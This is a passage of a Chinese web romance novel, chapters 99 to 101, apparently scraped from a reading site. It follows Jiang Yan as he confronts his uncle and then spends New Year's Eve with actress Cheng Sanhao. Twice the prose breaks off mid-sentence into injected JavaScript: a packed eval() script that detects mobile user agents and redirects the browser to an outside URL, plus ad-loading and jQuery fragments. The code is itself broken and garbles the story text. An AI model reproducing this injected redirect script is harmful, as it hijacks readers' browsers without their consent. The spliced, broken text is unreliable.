与此同时,津市某私人海域一座小岛上,一座废弃的仓库铁门被人从外面踹开,灰尘扬洒在空中,黑暗中,头顶的白炽灯蓦地亮了起来。 江权清手脚被绑着,蜷缩在地上,骤然的光亮,让他感到一阵不适应。 他努力眨了几下眼睛,抬头向门口看去。 空气中吹来冷风,裹挟着海水的咸涩味,紫色闪电在黑空露出爪牙,海面上浪花迭起,波涛汹涌。” 雷电轰隆,又一道白色闪电在窗外劈开黑夜,照亮为首那人的面孔。 江权清知道,那是来向他索命的地狱修罗。 悬挂在天际的月亮,从皎白渐渐变得暗黄,从暗黄点点变得黑红,像是被泼洒上一汪血河。 海水中似乎夹杂着一点血腥味,仓库上方瓦度极低的白炽灯微微晃荡。 那只食指上戴着墨绿戒指的手掐住江权清的脖子,将人掼到仓库内唯一的一张桌子上,手背上的青筋如蜿蜒盘绕的青蛇,正在绞死猎物。 江权清脸色发紫,两眼翻白,就在他马上要因为窒息感而死亡时,掐着他脖子的手却收了回去。 江权清立马弓腰,疯狂地咳嗽起来,期间嗓子如刀割一般,不断凌迟,口齿间都是血沫。 江砚缓缓直起身体,没有什么表情地伸手接过江邱递过来的蓝色帕子,不急不慢地擦拭自己的手。 他这样垂着目光,听前面已经没有力气,瘫坐在地上的江权清断断续续地说话。 “哈哈,看来还是我高估你了,小砚。” “你还是不敢直接弄死我,真让我失望啊。” 话音刚落,男人似乎是勾了一下嘴角,眼底一片却没什么温度。 “二叔,不要急。” 江砚就这样从上而下地俯视着人。 “我已经派人寻找江灼了。” 这话一出,地上那个五十多岁的中年男人神色闪过一抹慌张,很快又被自己压住了。 笑道:“那又如 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13894086|130752||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 何?啊——” 他侧脸被人踩住,江砚俯身,一字一句道:“波叔那条命,我要让你以命代偿,永无宁日。” 波涛声一阵接一阵,江权清这下明白过来,他这个侄子已经恢复了记忆。 未来如何,他已经提前预知了。 过多的挣扎都是徒劳,江权清反倒放松下来,露出个笑。 “你会遭报应的……” 江砚收回脚,面上恢复漫不经心,像是压根没把他的话当回事,转过身往外面走。 铁门哐当地重新被从外面锁上,房间内再次陷入黑暗。 江砚回到江家老宅,江老爷子未眠,就在客厅,像是在等他。 见到人,招手说:“过来,和爷爷我下盘棋。” 赵嫂将江砚的外套接过来,笑着:“去吧,我让他早点睡,他说什么也不肯,就是要等你回来。” 江砚点了下头,默不作声地走到客厅,在江老爷子的对面坐下。 茶几上已经摆了好了棋盘,江老爷子一只手还拄着拐杖,另一只手夹着一枚黑棋率先落子。 “事情解决得怎么样了?” 江砚两指捏着一枚白玉的棋子放到棋盘上。 “只要找到失踪的江灼,江权清此生再无翻案的机会,板上钉钉的事情,他逃不了法律的制裁。” 江全驰看了对面孙子一眼,说:“你这样做是对的,自从听到你说你恢复了记忆,我就怕你控制不了脾气,出手将江权清弄死,到时候跟警察不好交代。” 江砚摩挲着棋子,一时分不清是棋白还是他的手更白。 他敛着目光:“……我不能那样做,虽然我很想亲手了结他的性命。” 江全驰人老了,思维却还灵敏,和江砚下棋一时难分伯仲。 “这七年间,我见你办事都是狠绝果断,现在有了思量,可以加以控制是好事,我也就放心了。” 说着他话锋一转,目光缓和下来。 “我见程院长家的孙女儿好像是叫程韵清是吧,那孩子不错,要不要我撮合你们认识认识。” 江砚露出个无奈的笑:“她以前是我高中同学,我俩认识。” “哦?”江全驰来了兴趣,“那姑娘长得漂亮,你什么想法?” “没什么想法,我对她不感兴趣。” 江全驰丢了棋子,没再下,说:“虽然爷爷我不想催你,但一晃眼你也到了该成家的年纪。可你连个女朋友也没有,我还是不免着急,听说你小姨给你介绍了很多姑娘,你全都推了?” 江砚无所谓地嗯了一声。 江全驰觉得这样不好,老人到了如今这个岁数,别的不担心,就操心儿女子孙的婚姻大事。 他也不知道自己还能活几年,但他希望他这个孙子身边能有个人,与他说说话,做个伴,这样有天他离开,他不至于感到孤单。 抬眼见对面的人兴致不高的样子,江全驰气不打一处来。 “工作什么的,都交给底下的人去做,你只需要宏观把握,统筹好就行,不要事事都扑上去,忙得不可开交,也该放松放松了。” “这么些年,因为江权清,你一直活得很紧绷,我都看在眼里……爷爷我犯了错,亲手养了一个白眼狼,最终都报应到你的头上,是我对不住你。” “现在事情告一段落,希望你收收性子,眼光不要那么高嘛,看中哪家姑娘,想谈恋爱就谈恋爱,我不会做恶人,只要是女的就行。” 江砚感到好笑:“要求这么低?” “还不是因为你看上去冷清得很,我怕你寡一辈子。” 说着,他拄着拐杖站起身,旁边的赵嫂立马过来小心地呵护着。 老头子一瞬间变得有些焦虑了,他神情严肃,像是给江砚颁布什么任务一般,说:“反正你必须尽快给我找个孙儿媳妇,如果年底不能带回来一个女朋友,就不要回来过年了。” 想到什么,老头儿假装正经地又道:“我等着抱重孙子,赶紧的。” 江砚挑眉:“哪有这么快?” 老头撅嘴:“我不管。” 说着也不理会还在沙发上的某人,在赵嫂的搀扶下往卧室去了。 江砚抬手收拾棋子,侧脸轮廓锋利清晰,垂着目光,看不出什么表情。 99. 身份转正 电影拍摄周期短,程三好戏份也不多,再有个两三天可能就要杀青了。 签约上公司,像她这种最底层的艺人竟然有一个小助理,叫唐晓丽。 她虽然上综艺,有了点热度,积攒了一小批量的粉丝,但在这么大的一个娱乐圈内,终究排不上号。 所以她应该是没有这个待遇的,她人性格直爽,有什么就说。 当天,她问张燕原因。 对方没有从电脑中抬头,只是说了一句。 “都是江总的安排……以后你的个人行程活动之类的工作安排,都要上报给他。” 程三好皱眉。 张燕犹自说道:“这个公司刚创立起来的时候,我也有入股,但是对于管理公司这类的没兴趣,就专心干自己经纪人这一行。” “江总我认识他很多年了,华映娱乐只是他独立创造的一个公司,用于影视领域的开发和进军,就是没想到会如此成功。” 说到这里的时候,张燕的表情有些怪,她说:“不知道你有没有听过津市的江家,江氏产业大,业务广,集团总部也在那一边,江总已经将公司权力放给下面的人,日后肯定是要回津市作为掌权人管理集团的。” “所以这样的一个人物,竟然会主动跟我引荐你,当时我一直以为,是要我照顾一下他的小女朋友,可听你这么一问,我怎么感觉你俩不熟。” 程三好张了张嘴,不知道该怎么解释,半晌憋出一句。 “见过几面,是不熟。” 张燕是个对八卦很淡的人,只对工作感兴趣,她想了想,随口说:“那他可能在追你。” 程三好镇定地微吸气,面上很淡定:“不知道。” “你长得这么漂亮也不奇怪,但是为了今后的工作着想,还是尽量不要被媒体拍到,闹得太难看不好。” “好的,我明白。” 回到独立休息室,程三好发呆,外面羽绒服半脱不脱的。 她能明显地感觉到,自从江砚恢复记忆后,好像一直在弥补她。 他觉得亏欠她,甚至之前一直有联系的国外某家医院的肿瘤科专家,也回复了她的邮件,说可以让她带外婆出国去找他,看看能不能动手术来解决会复发增生的后患。 他不说,但她懂。 他们之间没有谁亏欠谁,他们都尽了力的,在过往时光里。 她并不觉得,江砚这个人有对不起她程三好的地方。 助理这时打开门,边走边说:“三好姐,这是江总让我送来的衣服,待会儿你换上,他就在外面等你。” 程三好收回思绪,转过身,将衣服抱了过来,说:“好,我知道了。” 人离开后,程三好脱下戏服,换上他让人送来的衣服。 换好了,看着镜子中的自己,程三好莫名笑了一下,觉得真喜庆,当然也非常的暖和。 那点子别扭消散了一些,她没有多想,只抓起手机就离开了休息室,去到了外面。 拍摄地是租的,偏古代建筑这样子的一处地方。 她出了庭院,抬腿上台阶,走到门边,一眼就看到了对面马路上那辆熟悉的宾利车。 江砚并没有坐在车内,而是倚靠着车身,一只脚微微向后曲着,搭在地面,站姿懒散。 依旧一身大衣西裤的装扮,明明只是好几天未见,却像是隔了一个春秋。 程三好加快了步伐,走到人的跟前,抬起头看着人,又飞快地移开视线。 她说:“你怎么来了?” 江砚已经站直,没有懒散地靠着车身。 他说:“来刷刷脸,因为某人说我们的关系已经到不熟的地步了。” “经纪人都跟你说了啊……”程三好有种被抓包的尴尬。 江砚起身打开副驾驶的车门,示意她进去。 “不是她说的,是我问的。”他解释完,将门关上去。 走到另一边,坐进了驾驶座。 见男人一下靠近自己,程三好缩着身体,往旁边躲。 但是对方只是从后座拿出了一捧花,然后递给她。 “我其实是想在你下台阶那一瞬就送给你的,但想到你性子不喜张扬,我就只好现在拿给你了。” 程三好没料到有这个惊喜,她诚惶诚恐地接过来,忙不迭说:“谢谢江总,我很喜欢。” 江砚眼睛还是看着人:“这就演上了?” “咳,”知道自己表情太过夸张,程三好清清嗓子,“真情流露,真情流露。” 江砚眼里有了笑意,他扭身坐正,启动车子,看着后视镜,转动方向盘,调转车头开上了旁边的主路。 程三好第一次收到花,她克制地耸了耸鼻子,对着这捧茉莉花闻了闻,还在琢磨形容它的味道,就听旁边的男人说:“闻出来了吗?什么味道。” 程三好动作停了,抬起下颌,手指抓着捧花的粉色纸包装有声地紧了紧。 “没闻出来。” “嗯,那下次买花,我注意。” 男人没看人,嗓音悠悠:“挑那种香味浓郁的……” “……那还是算了吧,要毒死我不用这个办法的。”程三好耷拉着眉毛。 江砚开车总是有一种和他性格有些出入的认真,他目视前方,姿态很松弛。 他神色瞧着正经,说的话却不同。 “原来某人是这么看待我的,怪不得说不熟。” 这一趴是过不去了,程三好调侃:“小心长针眼啊,江总,这么小气。” 江砚:“我没有。” “你有。” “没有。” “你有。” 车子平稳地向前驶去,二人有一句没一句地聊着,不久便到了预约的餐厅门口。 在服务生的带领下,他们找到一个空位,很靠窗的位置。 餐厅里不热闹,还放着一首舒缓的英文歌。 程三好坐下,随意扫了一眼,发现基本上的顾客都是成双成对的,不是情侣就是夫妻。 她内心嘶了一下,升腾起一种奇妙的感觉。 见江砚将菜单用两指搭在上面推到她的身前,让她点自己想吃的。 程三好眨了一下眼睛,在上面勾选了几道菜,没想到江砚拿过菜单就合上,递给了服务员。 她忍不住出声:“我点的可能有点辣。” 江砚做了发型,他脸上依旧没什么表情,只是将桌子上装饰物移到一边,淡声道:“你吃什么,我就吃什么。” 程三好有点不适地绷唇皱眉,一言难尽。 “你正常点说话。” 抬眼看着女生的表情,江砚这次却没有笑。 他轻摇了摇头:“不懂浪漫。” “……” 他表情还是浮动不大,语气也平和,但程就是看出了,他在点她呢。 浑身还充斥着一种对她表示无可救药的嘲笑。 程三好现在已经不容易被激了,但她还是也摇了摇头,一脸的不认可,反击:“太过油腻。” 江砚翘着桌面的手一顿,片刻,他说了句。 “你真行,程三好。” 毫不知情的女生抬起手,谦虚道:“过奖,过奖。” — 两人吃饭的途中,不能吃辣的江总硬吃辣的后果,就是吃了几口后放下筷子,沉默了。 他平时脸总是很冷,这会儿被辣了,也忍着,那表情说不上来的生动,耳朵也有些红。 程三好又是心疼,又是好笑地看着,给他点了一杯橙汁。 “喝这个吧,别待会儿伤着胃了。” 江 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13923989|130752||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 砚没拒绝,他可能被辣得说不出话来了,眉头皱着,额头起了一层薄薄的汗。 他接过来,仰头将那一杯橙汁喝完。 喝得很快,但他动作雅气,一点都不粗鲁。 吞咽的时,喉结上下滚动,荷尔蒙源源不断地向外扩散着。 程三好咬住筷子离开视线,没说话。 用餐完以后,两人并肩走在马路上。 程三好脑子里却再度想起了刚才江砚被辣住时的表情。 常人如果被辣住了,肯定会吸气,哈气的,但江砚这人吧,好像还有自己的形象管理,一声不吭,紧紧抿住唇,眉头皱得能夹死一只蚊子。 想着想着,程三好就想笑,在这一刻觉得,江砚还是那个江砚,和多年前运动会上跑步的少年一样。 他知道自己很帅,而且还挺有包袱的。 江砚这会儿已经感觉不到那咬人一般的刺激感了,他和女生这样散着步,须臾,开口说:“要不要看电影?” 程三好停下脚步,身体对着他:“票买了吗?” 话刚说出口,前面的人就像是变魔法一样,从大衣口袋里拿出了两张票。 “电影院离餐厅不远,去吗?” 程三好点头:“可以。” 两人驱车几分钟就到了那家电影院,进去之前,江砚还买了一桶爆米花和一杯可乐。 影片是一部偏喜剧轻松题材的,程三好看得很开心。 电影闭幕时,还有些意犹未尽。 观影的人陆陆续续出了电影院,程三好下意识跟着人多的方向走,突然被人拉住手。 “这边。” 程三好跟着他走,两人的手没松开。 走了没几步,前方的人停下来。 周围人也不多,四下很安静。 江砚转过身,眼睛看着女生。 见他不说话,程三好刚想问什么,就听见一声烟花爆炸在黑夜中的声响。 与此同时,在绚丽的烟花映照下,男人的脸庞被照亮。 她听见他说:“新年快乐,好好……” 江砚嗓音轻缓:“以后年年都要平安喜乐,万事顺遂。” 烟花在黑夜里绽放开来,不远处的各栋建筑上大屏都一起亮了起来,一时间整个世界都好像被热闹包围。 程三好的双手都被江砚牵住,直到此刻,所有的细节串了起来。 怪不得她的围巾是红色的,白色的羽绒服下的休闲裤子也是带着点暗纹的红色,所以她觉得喜庆。 怪不得江砚一身的穿着显然是精心定制的,头发也刻意做了发型。 怪不得他会挑一个在十点放映的电影,时长接近两个小时,结束后出来离十二点的钟声敲响,就只有几分钟。 他踩着那个点,向她送来了衷心的祝福。 程三好没看日历,所以这一切的一切于她而言都是惊喜。 她一时不知道说什么才好,半晌,下意识回了一句:“新年快乐。” 江砚眼神深邃,始终看着人,那双桃花眼像是冰雪融化后露出的春色,温柔得不可思议。 “现在是2020年一月一日零点,是新一年的伊始,也是我喜欢你的第八年……” 男人牵住女生的手放到自己的唇边,偏头吻在她的掌心,嗓音缠绵柔情。 “我一直很想你……” 烟花不知何时没再炸,但程三好心里的小鹿却还在跳。 在下一轮烟花秀开始前,她听见自己的声音。 “江砚。” “嗯。” “想不想你男朋友的身份转……唔……” 她的话还在口中,前面的男人已经低头亲了下来。 第二轮烟花秀开始了,时空被拉长拉远,他们在热闹纷彩的大街拥吻。 100. 跟他回家 所有人都在抬头注视着上空,没人会注意到他们。 就算注意到,也会觉得很正常。 在这个跨年夜,大街上有很多对情侣,所以并不稀奇。 江砚一只手揽着女生的腰,一只手拖住她的脑袋。 他先含住程三好的下嘴唇,就像含住一块柔软的棉花糖,吮了一下,放开,去亲她的上唇,含住也吸一吸,然后才压住她的整个嘴唇,摩挲,舔舐,吮吸。 似乎是觉得还不够,他拦在女生腰上的手用力,往自己的怀里带了带,让他们身体紧紧相贴。 程三好两只手紧紧地抓着江砚的大衣衣襟,她不用垫脚,因为江砚会低头。 嘴唇被他这样细心周到地亲着,她心里痒酥酥一片,想要更多。 刚冒出这个念头,下一秒就听与她咫尺之间的男人,哑声说了句。 “张开。” 他的嗓音又低又沉,程三好贴他贴得近,感觉那话不是从喉咙里发出来的,而是胸腔里,因为她感受到了震动。 她捏着江砚衣服的手无声地紧了紧,克制住那种紧张中带着羞耻的心情,将唇瓣微微分离。 “真乖。” 男人呼吸都喷洒在女生的的鼻尖,目光晦暗不清,低语夸赞她。 全程他们的嘴唇就一直是紧紧相贴的状态,江砚低声说了这么一句后,探出舌尖去深入,用力地亲吻女生。 察觉到他吸了一下自己的舌头,程三好头皮一阵发麻,闭着的眼皮不停地闪动。 比起那个第一次让人窒息的吻,这一次的接吻力道适中,口腔内的每一个小细胞似乎都被满足了。 她感到有些舒服,忍不住伸舌尖碰了一下男人的舌头。 江砚动作明显一顿,转瞬就是更为凶猛的进攻,中间一度差点顶#到了程三好的嗓子眼。 她舌头被吮吸得发麻,渐渐有些呼吸不上来,腿也有点发软。 她想退,可无论是腰上的手,还是脑袋后面的手,都丝毫不松动一下。 程三好觉得江砚突然好凶,伸手推了推男人的胸膛,呼吸急促得厉害。 察觉到她的挣扎,江砚眉心拧着,克制着退出来,也放松了手,退后一点身体,给她足够的空间喘息。 程三好猛吸几口氧气,才觉得自己活过来了。 察觉到唇有一点痛,她本能地摸了一下,觉得肯定肿了。 江砚太阳穴突突突地跳,他闭了一下眼,强迫自己冷静下来。 抬起目光,见对面的女生摸着自己的唇,微微蹙眉。 他再度靠近,手摸上她的脸,喑哑着嗓音:“怎么了,疼?” 程三好对上他的视线,想了想,还是摇头,思忖道:“不疼。” “那是我不够努力。” “啊……嗯,那挺疼的。” 她这样说了一句,两人大眼瞪小眼,片刻,程三好率先笑了出来,江砚也跟着笑起来。 鹅白的雪花落在他们的肩头,程三好察觉到落在脸颊上的冰凉感,抬头看去。 漫天雪花飞舞,下雪了。 抬头的几秒,冰雪在脸颊融化开来,凉凉的感觉,让程三好下意识眯了眯眼睛。 江砚没有抬头,眼睛始终注视着人。 看着看着,他伸手揩了揩女生嘴角的一点水意,给她擦干净,才双手穿过女生的腋下,迎面将人抱了起来。 程三好急忙伸腿去盘住他的腰,双手勒住男人的脖子。 “你干嘛?” “该回家了,明天不是还要早起去拍戏?” 程三好的唇型很饱满,很好看,这样被亲红了,说话时里面白色的牙齿微微显露,就衬得她整个人看上去有点欲。 她说:“我还要欣赏雪景呢,放我下来。” 江砚已经抱着人在走路了,他闻言,只是道:“别动,这样也可以。” 两侧的香樟树在往后飞快退去,暖黄的路灯为雪到达这个世界铺展开一条轨迹。 灯光穿透树叶,地上树影斑驳。 江砚抱着人走得很稳,察觉不出丝毫吃力的情况,但程三好还是想问:“我重吗?” “很重。” “想好再说话。”程三好搁在男人脖子后面的手成八字形按住。 “轻如羽毛。” “会说话,该赏,说吧,想要什么奖励。” 江砚颠了颠人:“没想好,先攒着。” “行吧。”程三好边说边打了个哈欠。 “困了?” “有一点。” “嗯,待会儿就送你回酒店。” 程三好又打了一个哈欠,没意识地双腿动了动,和江砚贴得更紧了。 好在停车的地方和电影院之间并不远,他们没走几分钟就到了。 江砚将副驾驶的车门打开,弯腰低头,拖着女生的臀部将人放下去。 确保她坐实了,才松开手,关上车门,去到另一边。 这一次他没开车内的灯,只有仪表盘发出淡蓝的光亮。 程三好听到兜里的手机响了,就掏出接听起来。 “喂,三好姐,你住的酒店进贼了,刚才前台给我打的电话,说他们正在协助警方在排查整一栋楼,所以今晚你就不要回来住了。你看是我给你重新订一个酒店,还是——” 程三好的困意都被这通电话给消散了一些,她握着手机,缓缓道:“不用了,你不是下班了吗?待会儿我随便找个酒店应付一晚再说。” “行,有什么需要我的地方,要及时打电话给我哦。” “好,你早点休息。” 挂了电话,程三好想酒店是不能回了,出来拍戏,家离这里又很远。 她面上倒是不见气馁,扭头对江砚说:“我就在不回去了,在附近找个酒店待一晚就行。” 江砚对上她的视线,却没点头,只缓慢道:“我在附近有一套房子,离拍摄地很近……” 他顿了一下才说:“……要不要跟我回家?” 程三好没有立即回答,看出她在犹豫,江砚说:“这么晚了,酒店应该没有空房间。” 车内光线很暗,程三好嗯了一声:“也只能这样了。” 当时没想太多,而且对江砚的为人还是信得过去的,就真的跟他回家了。 进门的一瞬间,看着这扑面而来的样板房气息,她直觉江砚应该不是经常来这里住。 房间宽大,整齐干净,灰蓝白三种颜色搭配在一起,会让人想起雪花,想去雪山,想起江砚。 “穿鞋。”男人紧随其后进来,从鞋柜上拿出一双拖鞋给女生。 收回视线,程三好低头穿上江砚递给她的一次性拖鞋。 玄关处的江砚见她穿着厚实的羽绒服,就说:“外套脱了。” “嗯。” 房间暖气足,很温暖。 程三好将羽绒服脱了下来,江砚也没说什么,接过来挂到了衣架上。 他转身,见女生脖子上还戴着围巾,就好整以暇地抱手依靠着墙。 “你要带着它睡觉?” 程三好打底是一件长袖的白色t恤,这样拢在身上,很慵懒。 听到江砚这么说,才回过神来似的,解开自己的围巾。 抽到一半,脑子里闪过一个念头。 ——她待会儿洗澡换洗衣服怎么办。 江砚见她动作直接停了下来,以为她是困,抬手就要帮她,谁料女生伸出食指,点在他的胸膛。 表情有些不自在:“江砚。” “嗯。”男人懒洋洋地应声。 程三好边戳边一字一句道:“待会儿我洗澡怎么办。” 她那语气崩溃中带着显而易见的羞赧,江砚抬手抓了那只作乱的手,放到嘴边亲了亲,没移开,就保持着这个动作,抬眼。 “穿我的衣服。” 程三好克制着吸一口气,她甚至不让自己的脑子去想那个画面,只是语气还算平静地说:“算了吧,我有些不方便,我……我先下楼去,买点合适自己的衣服。” 江砚直起身,还拉着女生的手:“这么晚了,一个人不安全。” 程三好打死也说不出内衣两个字,也不可能让江砚陪她去。 耳朵发热,她抽回自己的手,说:“不会的,我去去就回。” 其实只是一天不洗澡,死不了人,但是今天情况有些特殊,因为她大姨妈刚走,不及时洗澡,有细菌滋生的危险。 江砚向左迈一步,拦住人,微掀眼皮看着人,说:“你助理住哪?” “我酒店旁边的一家酒店。” “嗯,我知道了。” 说着他上手搭在女生的肩膀上,让女生转过去。 “我待会儿打电话让她送几套符合你尺寸的衣服来。” 他推着人,往主卧的方向走。 “都那么困了,就不要想太多。” 打开卫生间的门,灯亮起,江砚递给她全新的洗漱用品,以及新的浴巾毛巾。 离开之前,说了声:“你安心洗,衣服马上就到。” 于是程三好硬着头皮,在这个陌生的空间,脱了衣服洗澡。 潜意识里,都是因为她很相信江砚,所以感情上的安全感延伸到了现实生活中相处的关关面面。 尽管都是因为第一次接触,第一次经历,她并不讨厌就是了。 江砚离开主卧,站到客厅,给唐晓丽打了一个电话,让她送几套女生能穿的衣服过来。 说了地址,就挂断电话,将大衣脱了下来,坐到客厅的沙发上。 这套房子他就只是在电影拍摄期间过来住过几回,很多家具都崭新如初,根本没用过。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 江砚垂下眼睑,向后仰躺在沙发背上。 这个角度,可以看到主卧卫生间投射出来的光亮。 江砚只看一眼,坐直身体,抬手将领带扯松,去厨房倒了一杯水,喝了几口刚要放下杯子,就听到门铃响了。 他将玻璃杯搁在台面上,去打开门。 唐晓丽将手中的一个不透明的白色大袋子递给他。 “江总,这是按照你吩咐新买的衣服。” 江砚接过来,说了声:“辛苦。” “不辛苦,不辛苦,反正我也没睡觉,正在看跨年晚会,那我走了。” “嗯。” 唐晓丽是江砚在一众多如牛毛的简历当中挑选后来的,她的底细如何,他很清楚,也放心她跟着程三好。 将门关上并上了锁,他转过身,提着这袋衣物走到卫生间的磨砂玻璃门前放下。 “衣服我给你放外面了。” “嗯……嗯——” 程三好猝不及防听到门外有人出声,吓得她一激灵,声音都变了调。 果然等她这一声出来,无论是她还是外面的人都陷入了一种迷之尴尬的沉默。 “没事吗?” 程三好努力让自己的嗓音听起来很正常:“我完全没有问题。” “好,不要洗太久,晕过去我不负责。” “放心,我不会随便逮着一个人就讹的。” 江砚抬手摸上开关,将主卧的灯打开,这才去到了客厅。 程三好冲干净身上的泡沫,用浴巾裹住自己的身体,蹑手蹑脚地打开卫生间的门,看到地上放着的袋子,她伸手提了进来,翻出衣服穿上。 她的头发还湿着,没见卫生间有吹风机,在主卧转了一圈,也没找到,只能踱步去到客厅,看到阳台边上的江砚,正要喊,突然瞥见他手中的手机,就及时闭上了嘴。 他侧着身,大衣外套脱了,现在上身只穿着灰色的衬衫以及黑色的马甲,下面是一条黑色的西裤,露出的皮带将他的腰身很好地勾勒出来。 程三好移开目光,放轻脚步,走到电视柜前,寻找起了吹风机,结果还是没找到。 她正疑惑着,挂了电话的男人就已经转身走向她。 “在找什么?” 女生的睡衣是一整套淡紫色的长衣长裤,纯棉的,整个人看起来是热乎的。 她撑着膝头站起身,说:“找吹风机。” 又说:“你家真神奇,好像没有这种东西。” 江砚挂断电话后,似乎心情不错,听着女生这句话,挑了挑眉。 “你连这个都知道?不像是第一次来。” 程三好舔了一下唇,不说话。 看着女生无语得头发要炸毛了,江砚笑了一下,走过去,从茶几下的抽屉里翻出来吹风机,拍了拍跟前的地毯。 “坐过来。” 程三好也不是真的生气,她朝他走去,伸手要去拿那个吹风机。 “我自己来。” 江砚偏身躲过:“我来。” 程三好折腾一天已经没能量了,她打了一个哈欠,在地毯上盘腿坐下来,懒懒地说了句。 “吹不好,我可是要索赔的,男朋友。” 江砚插上电,按下开关,在手中试试温度,才给女生吹头发。 整个房间就只有电机发出的嗡嗡声,听到她接二连三地打哈欠。 江砚捋着她的头发,随口问:“不习惯熬夜?” 的确,现在已经是夜里一点过了,还没睡,就算是熬夜了。 程三好嗯了一声:“好像是不太能。” 江砚见头发干得差不多了,关了吹风机。 “可以了,去睡觉吧。” 程三好站起来,眼皮已经重地抬不起来了,但还在问:“哪间啊?” 看着她这个迷糊的状态,江砚鼻子里发出一声闷笑,从沙发上站起来,拉住人的手,带着她往主卧去。 到了门前,自己就停下了。 “里面的床单被套全是新换过的,去吧。” 程三好转身,看着他:“那你睡哪?” “对面客卧。” “会不会不太好……” “意思是要我陪你一起睡?” 程三好瞌睡被吓跑了一半,但她心里别扭,怎么能让客人睡主卧。 像是看穿了她的想法,江砚上前抱了女生一下。 “真的不早了,”他抬手摸了摸她的头发,“安心睡,我走了。” 说着抽身离开,将门也一并带上。 程三好知道江砚这人的性格,要固执起来任谁说也没用,于是她转身,爬上了床铺,缩了进去,不到三分钟,人已经陷入了沉沉的梦乡。 江砚站在门外,看到门缝下透出来的光不一会儿黑暗下去,才抬腿往客卧的方向走。 101. 失控 翌日清晨,江砚按时起了床。 昨晚他在客卧自带的卫生间里洗了澡后,下身只着一条黑裤,上身未着寸缕就躺下了。 早上起来,下意识想换衣服,突然想起来衣柜都在主卧。 垂在身体一侧的手无声地捻了捻,他光脚站在地毯上,目光看着对面主卧。 也许是一分钟或者更久,他抬脚走过去,伸手敲了敲门。 “起来了吗?” 里头没有回应。 江砚又轻敲了两声:“不说话的话,我就进来了。” “三……二……一……” 应该是还在睡,江砚这下确信了。 他握住门把手,轻轻地向下拧开,露出门缝。 看着正对门的大床上,女生闷头睡得正香,将门打得更开。 他走去,从一整面墙壁的暗灰色衣柜里拿出一件白色的衬衫穿上,低头,玉白修长的手指系纽扣。 他手指动着,转过身走到床边,盯着睡梦中的女生看了一眼。 她整个人蜷缩成一团,面朝着他这一边,躺在床沿,小小的一团不占位置。 灰色被套的被子拢到了下巴处,只露出一个毛茸茸的脑袋。 江砚目不转睛地看了好几秒,移开视线,拿上墨黑色的西裤去卫生间换上,皮带也是一条黑色皮革的。 他低头,从裤腰带的一侧穿过,一直捋着回到身前,将皮带系住,金属锁扣发生咔嚓的一声轻响。 然后他将床头柜上的黄金色腕表戴上,抽出一根斜纹墨蓝色的领带挂上脖子,边整理着边再次走向了主卧。 “该起床了。”他音色冷。 锃亮的黑色皮鞋踩在地板上,搭配上那一节性感骨劲的脚踝,典型的商务精英。 偏他生得俊,从鬓角到耳廓,再到下颌线的整个轮廓,从侧面看会显得很少年,但从正面看,又是一股扑面而来的贵气感。 白色衬衫下摆都掖进了裤腰,他领带已经打好。 见床上的人没反应,弯腰,上手捏住程三好的脸颊,语气很淡:“起床了,再不起,某人就要被我卖了。” 说着他动手又捏了捏,但女生丝毫不为之所动。 江砚嘶了一声,他顺势屈腿坐在床边,倾身,伸手搂住程三好的后颈,将人从床上一下捞起来。 此动作一出,程三好意识清醒了,就是眼皮重,重如千金。 她挣扎着,想抬,却怎么也抬不起,就像被强力胶粘住一样,无论她怎么抬,怎么努力,都感觉超级困难,心里便觉烦闷。 江砚的手没离开,一直支撑着人,见她闭着眼睛,一副实在睡不够,难受至极的样子。 他欣赏了几秒她这个没见过的表情,才动着手指,一边还算轻缓地揉她的后颈,一边身体靠近,对着程三好的耳朵亲了一下,也没离开,就保持这个极近的距离下耳语。 “拍戏要迟到了。” 程三好肩膀一阵发麻,强行被迫开机,不爽地睁开眼睛。 江砚已经退后身体,见她臭着脸,似乎有起床气。 他就没再说什么打趣的话,抬手摸了摸她的头站起身。 “穿好衣服,洗漱好,我在外面等你。” 说着拿上一旁的黑色西装利落地穿上,抖了抖,又将一件深灰色的呢绒大衣搭在肘间,抬腿出了卧室。 程三好定了闹钟七点半的,她搓了搓自己的脸,拿过床头柜上的手机,眯着眼睛打开看了一眼,发现竟然已经七点四十五了。 闹钟不知为何没响,她已经没有功夫思考这些了,一下子变得匆忙起来,掀开被子下了床,飞快去卫生间洗漱,换上昨天来这里穿的厚衣服,简单地梳了几下头发,就打开卧室门跑了出去。 玄关处的江砚见人来了,也没说什么,只是伸手自然地牵住女生。 两人离开房间,坐电梯到了一楼。 刚出大门,一股砭骨的冷风吹出来。 冬天天亮晚,这个时间点,天色灰蒙蒙的。 干冷的空气迎面狂灌,程三好忍不住打了一个冷战。 她下意识抓紧和江砚相握的手,低头正看着脚下台阶走路,羽绒服的帽子就被身旁的男人抬手给她兜在了头上。 下了台阶,她抬眼,这栋楼出口前面的东西走向道路上,江邱已经开着车停在路边了。 今天风大,短短的几步路,冷空气直往人脸蛋上扑,程三好鼻头都冻红了。 她抬起没有牵住男人的左手,正要去开车门,与她并肩而行一起到的江砚手臂更长,率先一步握住车把手打开后座的车门。 程三好自觉地弯腰,抬腿坐进去。 她正要往里面坐,留出位置给江砚,谁料二人牵住的手宛若根绳,拉她又坐回了原地。 